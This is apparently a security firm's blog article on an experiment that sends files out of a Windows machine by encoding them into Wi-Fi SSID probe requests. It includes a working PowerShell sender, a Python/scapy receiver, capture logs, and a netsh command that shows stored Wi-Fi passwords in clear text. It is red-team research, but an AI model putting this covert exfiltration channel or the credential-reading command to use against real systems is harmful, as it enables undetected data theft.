Data Transfer with SSID - An Experiment

Data Transfer with SSID

An Experiment

Tomaso Vasella
by Tomaso Vasella
on February 09, 2023
time to read: 17 minutes

Keypoints

  • A Service Set IDentifier (SSID) identifies a wireless network (WLAN)
  • SSIDs can contain up to 32 bytes of data
  • Data exfiltration refers to unauthorized, intentional data export
  • Data leaks can be difficult to detect and prevent
  • There are many ways and means to accomplish data leaks
  • Data exfiltration is often a component of Red Team testing

In many security incidents, data is compromised and siphoned off; data breaches and data leaks are dreaded incidents that can cause great damage to the affected organizations. Data can be transferred in many ways; in principle, any process where information is transferred could be misused to exfiltrate data. A frequent goal of adversaries is to circumvent security controls designed to prevent unwanted data flows and to construct outgoing data transfers in such a way that they cannot be easily detected. This often involves using legitimate tools or required functionality such as operating system tools or DNS in unintended ways, but standard work processes such as using email or uploading data to cloud storage are also used. There are only little limits to creativity, and depending on how much time and effort an adversary invests, such data flows can be very difficult to detect and prevent. This article examines whether data can be transferred via wireless network Service Set Identifiers (SSIDs) without actually connecting to a wireless network.

Wireless Networks and SSIDs

Wireless Local Area Networks (WLANs) are defined in the IEEE (Institute of Electrical and Electronics Engineers) standard IEEE 802.11-2020

SSIDs

In the IEEE Standard 802.11, the term Service Set is defined as a group of network devices that communicate wirelessly with each other using a common Service Set Identifier (SSID). The SSID is most often used as a human readable identifier of wireless networks. According to chapter 9.4.2.2 of the IEEE standard, a SSID may be between 0 and 32 octets (bytes) long and it usually contains ASCII or UTF-8 encoded characters (which also allows to defined emoji SSIDs). Although the standard defines the maximum length of an SSID, it does not specify that these bytes must represent readable characters. Accordingly, in principle any data can be used as SSID, although not all network devices can correctly handle data that does not represent readable characters.

SSIDs and Probe Requests

A network device that wants to connect to a wireless network must know its SSID. Available WLAN networks can be found passively or with active probing. With passive detection, the network device waits for beacons that announce the presence of a wireless network; with active detection, the device itself sends probe requests, which can be answered with a probe response. The beacons and the probe requests are WLAN management frames, they are not encrypted and contain the SSID. Devices such as cell phones or laptops usually remember the SSIDs of wireless networks to which they were once connected and then regularly probe their availability. This can be abused to identify devices, since the list of network identifiers they store is usually unique to each device and it is very easy to read such probe requests. It is also possible to connect to a wireless network by specifying its SSID, for example, if the desired network does not announce its presence with beacons.

Wireless Sniffing

To be able to capture data in wireless networks, a WLAN adapter that supports monitor mode or RFMON mode is required. Without monitor mode, data could still be captured, however, the WLAN management frames that are required for this experiment would be missing. In the following examples, an Edimax USB WLAN adapter and a Raspberry Pi 3 running Linux were used for capturing.

Identify the available WLAN devices:

[root@pi ~]# iw dev
phy#0
        Interface wlan0
                ifindex 3
                wdev 0x1
                addr 74:da:38:5e:28:d4
                type managed
                txpower 20.00 dBm

Monitor mode can be activated with the following commands:

[root@pi ~]# ip link set wlan0 down
[root@pi ~]# iw wlan0 set monitor control
[root@pi ~]# ip link set wlan0 up
[root@pi ~]# iw dev
phy#0
        Interface wlan0
                ifindex 3
                wdev 0x1
                addr 74:da:38:5e:28:d4
                type monitor
                channel 1 (2412 MHz), width: 20 MHz (no HT), center1: 2412 MHz
                txpower 20.00 dBm

Alternatively, tcpdump can be used with the option -I to activate the monitor mode. The following command can be used to capture and read probe requests of wireless devices. The SSIDs that are probed by the devices are displayed in parentheses:

[root@pi ~]# tcpdump -l -I -i wlan0 type mgt subtype probe-req
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), snapshot length 262144 bytes
16:17:29.799453 311849621us tsft 1.0 Mb/s 2412 MHz 11b -74dBm signal antenna 0 Probe Request (UPC1347F35 5ghz) [1.0* 2.0* 5.5* 11.0* Mbit]
16:17:48.053735 330104063us tsft 1.0 Mb/s 2412 MHz 11b -84dBm signal antenna 0 Probe Request (WDF) [1.0 2.0 5.5 11.0 Mbit]
16:18:08.271175 350321249us tsft 1.0 Mb/s 2412 MHz 11b -84dBm signal antenna 0 Probe Request (Swisscom_Auto_Login) [1.0* 2.0* 5.5* 11.0* Mbit]
16:18:40.048871 382098628us tsft 1.0 Mb/s 2412 MHz 11b -72dBm signal antenna 0 Probe Request (UPC1347F35 5ghz_2GEXT) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
16:18:42.056611 384106457us tsft 1.0 Mb/s 2412 MHz 11b -80dBm signal antenna 0 Probe Request (Swisscom_Auto_Login) [1.0* 2.0* 5.5* 11.0* Mbit]
16:19:46.313880 448363889us tsft 1.0 Mb/s 2412 MHz 11b -82dBm signal antenna 0 Probe Request (zvv2) [1.0* 2.0* 5.5* 6.0 11.0* 12.0 24.0 36.0 Mbit]

Data Transfer via SSIDs

As we have seen above, SSIDs can be user defined, causing a network device to send probe requests containing this SSID, and it is very easy to capture and read these requests and the contained SSIDs. This means that all that is needed for a successful data transfer is the following:

According to the specification, such a block may have a maximum length of 32 bytes, but may contain any data. In a first attempt the raw bytes of the data to be sent were written directly into the SSIDs. However, it was found that using bytes that do not have an ASCII or Unicode representation resulted in data loss, presumably due to driver limitations on the sender or receiver side. For this reason, it was decided to encode the data with Base64, although this has the disadvantage of increasing the data size considerably.

Windows WLAN Profiles

To simulate a realistic case, a Windows 10 installation was used as sender. Windows stores information about wireless networks in WLAN profiles that can be exported and imported as XML files. WLAN profiles can be displayed and managed on the command line with the netsh command:

PS C:\> netsh wlan show profiles

Profiles on interface Wi-Fi:

Group policy profiles (read only)
---------------------------------
    <None>

User profiles
-------------
    All User Profile     : WLAN-37CV3P
    All User Profile     : Fon
    All User Profile     : MikroTik-1CX987 2
    All User Profile     : MikroTik-1CX987
    All User Profile     : Swisscom_Wifi
    All User Profile     : FRITZ!Box F840 HC
    All User Profile     : Swisscom-GUEST-1

Note: Passwords stored in WLAN profiles can be displayed with the command netsh wlan show profiles name=<name> key=clear.

To use the command line to connect to a wireless network that has not yet been saved, a corresponding profile has to be defined first. It has the following structure:

<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
   <name>Profile Name</name>
   <SSIDConfig>
      <SSID>
         <name>SSID</name>
      </SSID>
      <nonBroadcast>true</nonBroadcast>
   </SSIDConfig>
   <connectionType>ESS</connectionType>
   <connectionMode>manual</connectionMode>
   <MSM>
      <security>
         <authEncryption>
            <authentication>open</authentication>
            <encryption>none</encryption>
            <useOneX>false</useOneX>
         </authEncryption>
      </security>
   </MSM>
</WLANProfile>

These profiles can then be imported for subsequent use:

netsh wlan add profile filename=profile.xml

An attempt can now be made to establish the connection:

netsh wlan connect name="Profile Name"

These steps can be executed with a freely definable SSID, whereby the latter command causes Windows to send the desired probe requests. The experiment showed that about three or four probe requests are always sent, which turned out to be useful with regard to the reliability of the data transmission.

Sender

Armed with this information, the following Powershell script was developed. It compresses the file to be transferred and then automates the creation of the WLAN profiles and the connection attempts. For each data block, a new WLAN profile is temporarily created and then an attempt is made to connect to this profile, which triggers the desired probe requests.

# Name of the created WLAN profiles
$profileName = "WLAN-1CE987"
# prefix to identify our own chunks / probe requests. Could also use MAC address and save 2 bytes.
$magic = ":)"
# start data identifier
$sod = "SOD"
# end data identifier
$eod = "EOD"

$file = $args[0]
$bytes = [System.IO.File]::ReadAllBytes("$file")

[System.IO.MemoryStream] $memStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream $memStream, ([IO.Compression.CompressionMode]::Compress)
$gzipStream.Write( $bytes, 0, $bytes.Length )
$gzipStream.Close()
$memStream.Close()
$bytesCompressed = $memStream.ToArray()

$b64 = [System.Convert]::ToBase64String($bytesCompressed)
$split = $b64 -split '(.{30})' | Where-Object {$_}

$WirelessProfile = @'
<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
   <name>{0}</name>
   <SSIDConfig>
      <SSID>
         <name>{1}{2}</name>
      </SSID>
      <nonBroadcast>true</nonBroadcast>
   </SSIDConfig>
   <connectionType>ESS</connectionType>
   <connectionMode>manual</connectionMode>
   <MSM>
      <security>
         <authEncryption>
            <authentication>open</authentication>
            <encryption>none</encryption>
            <useOneX>false</useOneX>
         </authEncryption>
      </security>
   </MSM>
</WLANProfile>
'@

$tempProfileXML = [System.IO.Path]::GetTempPath() + [Guid]::NewGuid().ToString() + ".xml"

Write-Host -NoNewline "Sending $($split.Count) data chunks"
$WirelessProfile -f $profileName, $magic, $sod | Out-File $tempProfileXML
netsh wlan add profile filename=$tempProfileXML *> $null
netsh wlan connect name="$profileName" *> $null

Foreach ($chunk in $split) {
   Write-Host -NoNewline "."
   $WirelessProfile -f $profileName, $magic, $chunk | Out-File $tempProfileXML
   netsh wlan add profile filename=$tempProfileXML *> $null
   netsh wlan connect name="$profileName" *> $null
}

$WirelessProfile -f $profileName, $magic, $eod | Out-File $tempProfileXML
netsh wlan add profile filename=$tempProfileXML *> $null
netsh wlan connect name="$profileName" *> $null
Write-Host "Done."

netsh wlan delete profile name="$profileName" *> $null
Remove-Item $tempProfileXMLEmpfänger

On the receiver side, data capturing and reading was implemented with Python and the library scapy. Scapy allows to capture network traffic and offers the possibility to execute a function (callback) for each received packet, so it is ideally suited for the intended purposes. For our application only probe requests are interesting, these can be filtered out with a suitable filter instruction. Similar to tcpdump, Scapy uses the BPF syntax for the filter rules.

#!/usr/bin/env python3

print('Initializing... ', end='', flush=True)

import codecs
import base64
import gzip
from scapy.all import sniff, Dot11ProbeReq

iface = 'mon0'

magic = ':)'
sod = 'SOD'
eod = 'EOD'
outfile = 'outfile'

last_ssid = ''
cnt = 0
buf = ''

def handler(p):
    global last_ssid
    global cnt
    global buf

    ssid = codecs.decode(p[Dot11ProbeReq].info, 'ascii')

    if ssid.startswith(magic) and ssid != last_ssid:
        last_ssid = ssid
        if ssid == magic + sod:
            buf = ''
            cnt = 0
            print("Got start of data, recording data", end='', flush=True)
        elif ssid == magic + eod:
            print(f"\nGot end of data after {cnt} chunks. Writing to {outfile}.")
            try:
                with open(outfile, 'wb') as of:
                    of.write(gzip.decompress(base64.b64decode(buf)))
            except Exception:
                print(f'Error decompressing/writing data. Incomplete transfer?')
            buf = ''
            cnt = 0
        else:
            print(".", end='', flush=True)
            buf += ssid[2:]
            cnt += 1

if __name__ == "__main__":
    print('Ready, listening for probe requests.')
    sniff(iface=iface, filter='type mgt subtype probe-req', prn=handler, store=0)

Reading data on the receiver side then looks like this:

[root@pi ~]# tcpdump -l -I -i wlan0 type mgt subtype probe-req
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on wlan0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), snapshot length 262144 bytes
17:15:35.896536 3797924875us tsft 1.0 Mb/s 2412 MHz 11b -44dBm signal antenna 0 Probe Request (:)SOD) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
17:15:35.947552 3797975842us tsft 1.0 Mb/s 2412 MHz 11b -48dBm signal antenna 0 Probe Request (:)SOD) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
17:15:35.964723 3797993055us tsft 1.0 Mb/s 2412 MHz 11b -52dBm signal antenna 0 Probe Request (:)SOD) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
17:15:38.133580 3800161690us tsft 1.0 Mb/s 2412 MHz 11b -44dBm signal antenna 0 Probe Request (:)H4sIAAAAAAAEAI2X9VfTjePF34xwE5) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
17:15:38.201369 3800229475us tsft 1.0 Mb/s 2412 MHz 11b -52dBm signal antenna 0 Probe Request (:)H4sIAAAAAAAEAI2X9VfTjePF34xwE5) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
17:15:39.332881 3801360989us tsft 1.0 Mb/s 2412 MHz 11b -44dBm signal antenna 0 Probe Request (:)AQBCYxRULBAdIgMJTuGg8qNWE00h1u) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
17:15:39.380217 3801408295us tsft 1.0 Mb/s 2412 MHz 11b -46dBm signal antenna 0 Probe Request (:)AQBCYxRULBAdIgMJTuGg8qNWE00h1u) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
17:15:39.397404 3801425508us tsft 1.0 Mb/s 2412 MHz 11b -50dBm signal antenna 0 Probe Request (:)AQBCYxRULBAdIgMJTuGg8qNWE00h1u) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
17:15:41.958555 3803986634us tsft 1.0 Mb/s 2412 MHz 11b -48dBm signal antenna 0 Probe Request (:)gICkDEVCWmDSHSJsSvmAdIiEjO6SGl) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]
17:15:42.005754 3804033835us tsft 1.0 Mb/s 2412 MHz 11b -46dBm signal antenna 0 Probe Request (:)gICkDEVCWmDSHSJsSvmAdIiEjO6SGl) [1.0 2.0 5.5 11.0 6.0 9.0 12.0 18.0 Mbit]

Summary

The experiment proved to be surprisingly successful, data could be transferred easily and without data loss (comparison of the hash values) when conditions are suitable. However, the speed is very modest, transfer rates of only 11 – 12 bytes per second could be achieved. Transferring a 3.5 KB file took over 5 minutes. The main reason for this is probably the time Windows spends trying to connect to the automatically generated WLAN profiles. For test purposes, the connection commands were automatically terminated after 500 milliseconds instead of waiting until they were finished; this accelerated the process nicely, but resulted in considerable loss of probe requests and thus data loss.

It was also found that the transmission is susceptible to interference: A Bluetooth headset located directly next to the receiver led to the loss of individual data packets or probe requests.

Data Transmission and Reception

In summary, this method is rather impractical for real Red Team tests because it is too slow and too interference-prone. However, for small amounts of data or in special cases, it could be a useful although somewhat cumbersome option.

About the Author

Tomaso Vasella

Tomaso Vasella has a Master in Organic Chemistry at ETH Zürich. He is working in the cybersecurity field since 1999 and worked as a consultant, engineer, auditor and business developer. (ORCID 0000-0002-0216-1268)

Links

Is your data also traded on the dark net?

We are going to monitor the digital underground for you!

×
Security Testing

Security Testing

Tomaso Vasella

The new NIST Cybersecurity Framework

The new NIST Cybersecurity Framework

Tomaso Vasella

Flipper Zero WiFi Devboard

Flipper Zero WiFi Devboard

Tomaso Vasella

Denial of Service Attacks

Denial of Service Attacks

Tomaso Vasella

You want more?

Further articles available here

You need support in such a project?

Our experts will get in contact with you!

You want more?

Further articles available here